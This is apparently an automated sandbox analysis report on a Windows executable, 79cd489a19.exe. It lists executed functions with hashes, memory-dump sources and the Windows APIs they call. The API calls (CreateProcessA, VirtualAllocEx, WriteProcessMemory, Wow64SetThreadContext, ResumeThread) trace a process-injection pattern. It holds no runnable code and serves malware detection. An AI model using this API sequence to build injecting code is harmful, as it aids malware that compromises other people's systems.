Instruction ID: 0c6fbfaa0e158391fc9c08adb38fd0fffc0e746bff943ff710ee0762d8043570
Opcode Fuzzy Hash: 16f4588ffba74b578b68c401595c7364f97c3a653c3af7354f323ca97d2f4a8a
Instruction Fuzzy Hash: 94E08634980258F7CF2BFA54E84BBCCB7649B2474AF04C165BC30150919BF897ECCA91

Analysis Process: 79cd489a19.exePID: 7848, Parent PID: 7588COMMON

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	458
Total number of Limit Nodes:	26

Executed Functions

Function 05A00698 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 05A00726
GetCurrentThread.KERNEL32 ref: 05A00763
GetCurrentProcess.KERNEL32 ref: 05A007A0
GetCurrentThreadId.KERNEL32 ref: 05A007F9

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b4ddfd93d8190edc40f2fc091edd15c167450983c30e748ce75ead3305a33b87
Instruction ID: b5076c0761cce5b1a6bb35cab0d3272265a0d6f04308783ea92b97c70e037097
Opcode Fuzzy Hash: b4ddfd93d8190edc40f2fc091edd15c167450983c30e748ce75ead3305a33b87
Instruction Fuzzy Hash: 8C5158B09016498FDB14DFA9E588BEEBBF1BF49304F208059E059A73A0C7745988CF65

Function 05A006A8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 05A00726
GetCurrentThread.KERNEL32 ref: 05A00763
GetCurrentProcess.KERNEL32 ref: 05A007A0
GetCurrentThreadId.KERNEL32 ref: 05A007F9

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f934f7b2af7b040dd9498ecae93de6d561a5deff2aa98b2fed978250ba487dc0
Instruction ID: caa27ac9bd02985b552802ffceae17da37016ee98de283c7b98d3c2a48c5f7bb
Opcode Fuzzy Hash: f934f7b2af7b040dd9498ecae93de6d561a5deff2aa98b2fed978250ba487dc0
Instruction Fuzzy Hash: 1F5147B09006098FDB14DFA9E548BAEBBF1FF48304F208459E459A73A0D7749988CF65

Function 018B3D75 Relevance: 1.7, APIs: 1, Instructions: 244processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 018B3FB6

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4c242a3eb7f0f7dd94a7b429a8f48cbd89b918e9262435e1ca4d450460d05fac
Instruction ID: 6dce89d241d7f94e87f34d693b80ce09b89f6942cd6d1fabeb78b2b0856af9c1
Opcode Fuzzy Hash: 4c242a3eb7f0f7dd94a7b429a8f48cbd89b918e9262435e1ca4d450460d05fac
Instruction Fuzzy Hash: EFA13971D00219DFEB10DFA8C881BEDBBB2BB48314F1481AAE849A7350D7749A85CF91

Function 018B3D80 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 018B3FB6

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 09100500e9a5d100f048a3c3362343be2a52ab3cefe60a3b290cc679d59a89a7
Instruction ID: 0c104a8262471bc35eecc3fb8064b490ed55e78e1c56f57ca45d6046749d6919
Opcode Fuzzy Hash: 09100500e9a5d100f048a3c3362343be2a52ab3cefe60a3b290cc679d59a89a7
Instruction Fuzzy Hash: 9E912B71D002199FEB10DFA9C881BDDBBB2BF48314F1485AAE849E7350D7749A85CF91

Function 05A04E64 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05A04F82

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1dd3cf9a246507d1ac2e7756e8cb42337bc556d5e8e9a8fd98a26c44372f50b5
Instruction ID: e12a6e091c1c0e290814a87a97e2f1272fd7f2eea4316ccd1c682fcd92a0c03c
Opcode Fuzzy Hash: 1dd3cf9a246507d1ac2e7756e8cb42337bc556d5e8e9a8fd98a26c44372f50b5
Instruction Fuzzy Hash: F351CFB1D102099FDF14CFA9D884ADEBBB5BF48710F24812AE819AB250D771A985CF91

Function 05A04E70 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 05A04F82

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 50fbd422c02ce7338389d36460d2ba0490c0f67702750058a8b2815a7c54ca19
Instruction ID: 8de6fdd28c03978c8515f271bcdbea94daf4fadde40cb89c6e161788c4f8ff9f
Opcode Fuzzy Hash: 50fbd422c02ce7338389d36460d2ba0490c0f67702750058a8b2815a7c54ca19
Instruction Fuzzy Hash: 6E41D0B1D103099FDF14CF9AD884ADEFBB5BF48710F24812AE819AB250D7709881CF91

Function 03348D7C Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 03348E39

Memory Dump Source

Source File: 00000007.00000002.2443643964.0000000003340000.00000040.00000800.00020000.00000000.sdmp, Offset: 03340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3340000_79cd489a19.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 744060b4d11d476642718fab34833fa886ca8a9182b330aac9bf5280ae3b25c6
Instruction ID: 53435f60086c8836b209066909eefa3d580bc0c2a72dcabff6abbc127876cda0
Opcode Fuzzy Hash: 744060b4d11d476642718fab34833fa886ca8a9182b330aac9bf5280ae3b25c6
Instruction Fuzzy Hash: B941F6B0C00619DFDB24CFA9C8847DEBBF5BF49304F24846AD408AB265DB756986CF51

Function 05A03324 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 05A07501

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 6cffc108402e0c3288682914d64717125733024db0fee537b095e1b62dae36b9
Instruction ID: 6e66acaf56b2713bbaa59f72f0e466f70eae1249d6c18876d9d4f01db6381629
Opcode Fuzzy Hash: 6cffc108402e0c3288682914d64717125733024db0fee537b095e1b62dae36b9
Instruction Fuzzy Hash: FD412AB4A10205CFCB14CF99D448EAAFBF5FB89314F24D859D519AB361D375A841CFA0

Function 03347898 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 03348E39

Memory Dump Source

Source File: 00000007.00000002.2443643964.0000000003340000.00000040.00000800.00020000.00000000.sdmp, Offset: 03340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3340000_79cd489a19.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: eb7fae16bb8bde6979b92cf1aeefdd3cb75022064adfc589253f7e8f68aa87fe
Instruction ID: 35f6fa427691fdb1bf93055b9c3acd206df5a8d571ae4f53d4879f57df3f728e
Opcode Fuzzy Hash: eb7fae16bb8bde6979b92cf1aeefdd3cb75022064adfc589253f7e8f68aa87fe
Instruction Fuzzy Hash: 1B4102B0C0061DCFCB24CFA9C88479EBBF5BF49304F24846AD408AB261DB756986CF91

Function 08A4C6D0 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2461043617.0000000008A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8a40000_79cd489a19.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 12925cee9223e953368e0da37a891ed013b3efa7a43b5424ad49ef3a88c8998f
Instruction ID: 4f65a422b97de0119ea25accaa251bc01eddb20c02b13959cf686b3398786e5c
Opcode Fuzzy Hash: 12925cee9223e953368e0da37a891ed013b3efa7a43b5424ad49ef3a88c8998f
Instruction Fuzzy Hash: 0E31BA719003989FCB11CFA9D844AEEBFF4EF49320F14806AE958A7221C3359861CFA1

Function 018B3AF0 Relevance: 1.6, APIs: 1, Instructions: 73injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 018B3B88

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 55949f92f01aa92a27dd2807f048c4dbf4c27ef83366b283361038edd5633b7c
Instruction ID: f111a406da86268a04aabc7d9315e370a1e2b08081b68607b67a8f6d2f7d0238
Opcode Fuzzy Hash: 55949f92f01aa92a27dd2807f048c4dbf4c27ef83366b283361038edd5633b7c
Instruction Fuzzy Hash: CA3137B19003499FDB10CFA9C884BDEBBF5FF48314F108429E958A7351D7789545CBA4

Function 08A4A4EC Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,08A4B9BD,?,?), ref: 08A4BA6F

Memory Dump Source

Source File: 00000007.00000002.2461043617.0000000008A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8a40000_79cd489a19.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: b783ec9930e93f666c6ca8a8450a63d3011730196e93b80dee5e8544cd95c1b8
Instruction ID: f1d492ecb6170e71d91bc23cf28ae51a0bf6db7027fcdaf5ff0f51406c285b8e
Opcode Fuzzy Hash: b783ec9930e93f666c6ca8a8450a63d3011730196e93b80dee5e8544cd95c1b8
Instruction Fuzzy Hash: A031C5B59002099FDB10DF9AD884AEEFBF5FB48320F14842EE919A7710D775A945CFA0

Function 08A4B9D0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,08A4B9BD,?,?), ref: 08A4BA6F

Memory Dump Source

Source File: 00000007.00000002.2461043617.0000000008A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8a40000_79cd489a19.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 28cb2494b62a6735d46bee7b6f5f72b01ccd29c49edfb908494ac55f4ec50fa9
Instruction ID: 29f21e3d014a6217bf27fb23e3507b06ff2ff09b0c3b8d5e4ba1d3f90815e082
Opcode Fuzzy Hash: 28cb2494b62a6735d46bee7b6f5f72b01ccd29c49edfb908494ac55f4ec50fa9
Instruction Fuzzy Hash: C031B2B59002499FDF10CFA9D884AEEBFF5EB58320F14842EE819A7610D3759945CFA1

Function 018B3AF8 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 018B3B88

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 81ec2caa905fa54b7dd070370ccabdf3ff52b1d44dde2443ccba68cac839bcc7
Instruction ID: d4547ca78b69be0367c83897eef118360c82af7bf35d7a6ce3343ea77a210fb7
Opcode Fuzzy Hash: 81ec2caa905fa54b7dd070370ccabdf3ff52b1d44dde2443ccba68cac839bcc7
Instruction Fuzzy Hash: 762127B19003599FDB10DFA9C885BDEBBF5FF48310F10842AE959A7251C7789944CBA4

Function 018B3BE1 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 018B3C68

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 782e9f01da040d8e188e9d5ef26c48b94f6c5697874fe42920645e3bc50e4660
Instruction ID: 3b44705a5e6ce26ebfcbea96ede72c2fba7473135379abc7da6811ecc2c3dade
Opcode Fuzzy Hash: 782e9f01da040d8e188e9d5ef26c48b94f6c5697874fe42920645e3bc50e4660
Instruction Fuzzy Hash: 8C2136B18003599FCB10DFAAC880AEEFBF5FF48320F10842AE958A7250C7349945CBA5

Function 05A008E9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 05A00977

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0f716fbceaa5673e2cf6e6a8a05cb705344ab2a137675c636f9139ea2f01cb48
Instruction ID: f67794c3d575a2ef6f6ca5a454e2e03db825577a24980d7c6ed073886753d7a2
Opcode Fuzzy Hash: 0f716fbceaa5673e2cf6e6a8a05cb705344ab2a137675c636f9139ea2f01cb48
Instruction Fuzzy Hash: 4C21E3B5900218DFDB10CFAAD984AEEFBF4FB48310F14841AE958A3350C374A944CFA4

Function 018B3960 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 018B39DE

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7edf42d96d7f5a7990587605a0910040d3a4d27b5506e7862fdca38a275b45d9
Instruction ID: f8a2ea46956d3691173e70241f6a503245645504c1fb1ac06b1666cb266c51fa
Opcode Fuzzy Hash: 7edf42d96d7f5a7990587605a0910040d3a4d27b5506e7862fdca38a275b45d9
Instruction Fuzzy Hash: 8A2138B19002098FDB10DFAAC4857EEFBF4EF49324F10842AD559A7340CB78A945CFA5

Function 018B3BE8 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 018B3C68

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f8d4e59868891c05d2d0c9383fa133fb4129f221e35dc55b3053dbdfbb229877
Instruction ID: f70eca000ca003de979a88a0064f20e3fd1c603011290eafafb9460d0f221c84
Opcode Fuzzy Hash: f8d4e59868891c05d2d0c9383fa133fb4129f221e35dc55b3053dbdfbb229877
Instruction Fuzzy Hash: E12139B18003599FCB10DFAAC884AEEFBF5FF48310F10842AE958A7250C7349545CBA5

Function 018B3959 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 018B39DE

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a56f642a3729b340cd0f2eb8e547baa3654ddc10aff167d04459ae79c15188f8
Instruction ID: b0a4f68cd2c3cdeb85eacd9b6b59bf0355a46b3112e41486e6c6ebff9e6a827f
Opcode Fuzzy Hash: a56f642a3729b340cd0f2eb8e547baa3654ddc10aff167d04459ae79c15188f8
Instruction Fuzzy Hash: 032157B19002098FDB10DFAAC5857EEBBF0EF48314F10842ED459A7340CB389645CFA5

Function 05A008F0 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 05A00977

Memory Dump Source

Source File: 00000007.00000002.2457571088.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5a00000_79cd489a19.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 74e10b37130bf2ff44d6424acdf555e34be2bb23c0dff743f9f13794c04a0c16
Instruction ID: fbfdb60af3c4370ed50abf80932d2f6fd7bd57b0a6c3bd9b2dd9464c776b9962
Opcode Fuzzy Hash: 74e10b37130bf2ff44d6424acdf555e34be2bb23c0dff743f9f13794c04a0c16
Instruction Fuzzy Hash: 6821C2B59002589FDB10CFAAD984ADEFFF8FB48320F14841AE958A7350D374A944CFA5

Function 018B3A30 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 018B3AA6

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 28f3d22c36ab90fa84fec36da54fb2bac46054818158ecda1d7aefa94efb7171
Instruction ID: 82befa2836c8e0c0e95248b5ec237c6b94231a40a5f6f81e2c991d3973909887
Opcode Fuzzy Hash: 28f3d22c36ab90fa84fec36da54fb2bac46054818158ecda1d7aefa94efb7171
Instruction Fuzzy Hash: 1F2147718002489FCB10DFA9C844ADEFFF5EF88324F208819E559A7250C775A945CFA0

Function 08A4A55C Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,08A4C6EA,?,?,?,?,?), ref: 08A4C78F

Memory Dump Source

Source File: 00000007.00000002.2461043617.0000000008A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8a40000_79cd489a19.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: f5acbdc35b97da6262d42bc77dc131a1f5637082f3de4916e827343b40ab2f78
Instruction ID: 27aebea8e7bf9a0f6accc9ed94dddd3dd482a4be96fe8d3cd26af5862b278e45
Opcode Fuzzy Hash: f5acbdc35b97da6262d42bc77dc131a1f5637082f3de4916e827343b40ab2f78
Instruction Fuzzy Hash: 5F114CB5800349DFDB10DF99C844BDEBFF8EB48320F24841AE558A7610D375A950CFA5

Function 0A217B89 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0A217C03

Memory Dump Source

Source File: 00000007.00000002.2464027470.000000000A210000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a210000_79cd489a19.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b09697045f5cdfe15f61545ebdd630d5c77ee1483c6ab0415af58152c051a05b
Instruction ID: 7c451ac111b65faff803ac850341c102227ac5269ab5f0fb1602bd0edd660da9
Opcode Fuzzy Hash: b09697045f5cdfe15f61545ebdd630d5c77ee1483c6ab0415af58152c051a05b
Instruction Fuzzy Hash: 2721F4B59002499FCB10CFAAD484BDEFBF4EB58320F208429E459A7251C379A585CFA5

Function 0A217B90 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0A217C03

Memory Dump Source

Source File: 00000007.00000002.2464027470.000000000A210000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a210000_79cd489a19.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 973484dba9f31f8b0acc642cd3014936d8e5c533398564613faf6d8d8959577a
Instruction ID: 1e14aded0bc981b6b58767aab4ff260d3d35810fc0bbcd63e6d96faa6f99a3e5
Opcode Fuzzy Hash: 973484dba9f31f8b0acc642cd3014936d8e5c533398564613faf6d8d8959577a
Instruction Fuzzy Hash: 172126B5900249DFCB10DF9AC484BDEFBF4FB48320F10842AE858A7251D378A545CFA5

Function 018B3A38 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 018B3AA6

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e491f38898c811006a2dd9c99ba40c64493de695c7d715202ad3284c4c8e65e4
Instruction ID: cd76d35d595d9e3cfd88538686f92f86240f24b65567360102a43d1265e4b366
Opcode Fuzzy Hash: e491f38898c811006a2dd9c99ba40c64493de695c7d715202ad3284c4c8e65e4
Instruction Fuzzy Hash: FB1126729002499FCB10DFAAC844ADEFFF5EB88320F208419E959A7250C775A944CFA5

Function 018B38A8 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 018B3912

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7fc58002e2d8eda0a5d6d3840a6501282c0e7c0d5e98077206a0964753a6b107
Instruction ID: 3ab8f67dacf783837acc8abc4aadd5fb1996efeb79a6ff5d9568e2f969a9a456
Opcode Fuzzy Hash: 7fc58002e2d8eda0a5d6d3840a6501282c0e7c0d5e98077206a0964753a6b107
Instruction Fuzzy Hash: B31146B1900248CFDB10DFAAC4447EEFBF5EB88324F20842AD459A7350C739A945CF94

Function 018B38B0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 018B3912

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5de8de6593abbdae162e5859d9ea1eee2b3c34e6a0900268d582a2d5bd670fb5
Instruction ID: 823d2acc10c13e4d615d1e16f11cc5046a67d684de905c985439533ca49b0d41
Opcode Fuzzy Hash: 5de8de6593abbdae162e5859d9ea1eee2b3c34e6a0900268d582a2d5bd670fb5
Instruction Fuzzy Hash: 791136B19002488FDB20DFAAC4457EFFBF4EB88324F20842AD559A7350CB75A944CFA5

Function 018B6328 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 018B638D

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: d540d11027c09b21cf96f456b97f89c5a87108100feeea63eedc1333f488b579
Instruction ID: 8e21bb6d87c1a46d368ab1141903caa867aab0fde5b54c9a6d490c1f3762ad85
Opcode Fuzzy Hash: d540d11027c09b21cf96f456b97f89c5a87108100feeea63eedc1333f488b579
Instruction Fuzzy Hash: CB11F2B58003489FDB10DF9AD884BDEBFF8EB49324F20845AE558A7310D375A545CFA1

Function 018B0684 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 018B638D

Memory Dump Source

Source File: 00000007.00000002.2443276074.00000000018B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 018B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_18b0000_79cd489a19.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 811db6bb060fede5838c7663e86367e14eb44ad6753032ee1eae3cbd469441ad
Instruction ID: eee0c613f67b6bfb4484c17c7ed7469854194edc5f8734b47ead6bfef78acc8d
Opcode Fuzzy Hash: 811db6bb060fede5838c7663e86367e14eb44ad6753032ee1eae3cbd469441ad
Instruction Fuzzy Hash: 7911F5B58003499FDB10DF9AD484BDEBBF8EB48310F208419E558A7310D375A944CFA5

Function 0334E560 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0334E5C6

Memory Dump Source

Source File: 00000007.00000002.2443643964.0000000003340000.00000040.00000800.00020000.00000000.sdmp, Offset: 03340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3340000_79cd489a19.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: efdbdb702ee9979015b6f1c311096810d3ef1085827989b2b536cc074af380d5
Instruction ID: 970d09e0343b2fa6a62dbec517afaf1012f84b3be56e522e0d7b4f376396a0d8
Opcode Fuzzy Hash: efdbdb702ee9979015b6f1c311096810d3ef1085827989b2b536cc074af380d5
Instruction Fuzzy Hash: B41110B5C002498FDB10DF9AD884ADEFBF4EB88320F14846AD418B7610D375A545CFA1

Function 016ED4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2442585454.00000000016ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 016ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16ed000_79cd489a19.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a456d5e0ba377a6698de35aebe7364debd4088a14ebc0193469462ad4ce6b7a
Instruction ID: 88b0f28322c5d7c3466047df0cd984c90bd1ea4769b32e6f04b9597d8a0e3776
Opcode Fuzzy Hash: 8a456d5e0ba377a6698de35aebe7364debd4088a14ebc0193469462ad4ce6b7a
Instruction Fuzzy Hash: 7B212571501240DFDB05DF58DDC8B2ABFA5FB88318F20C669E9090B356C336D456CAA1

Function 016FD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

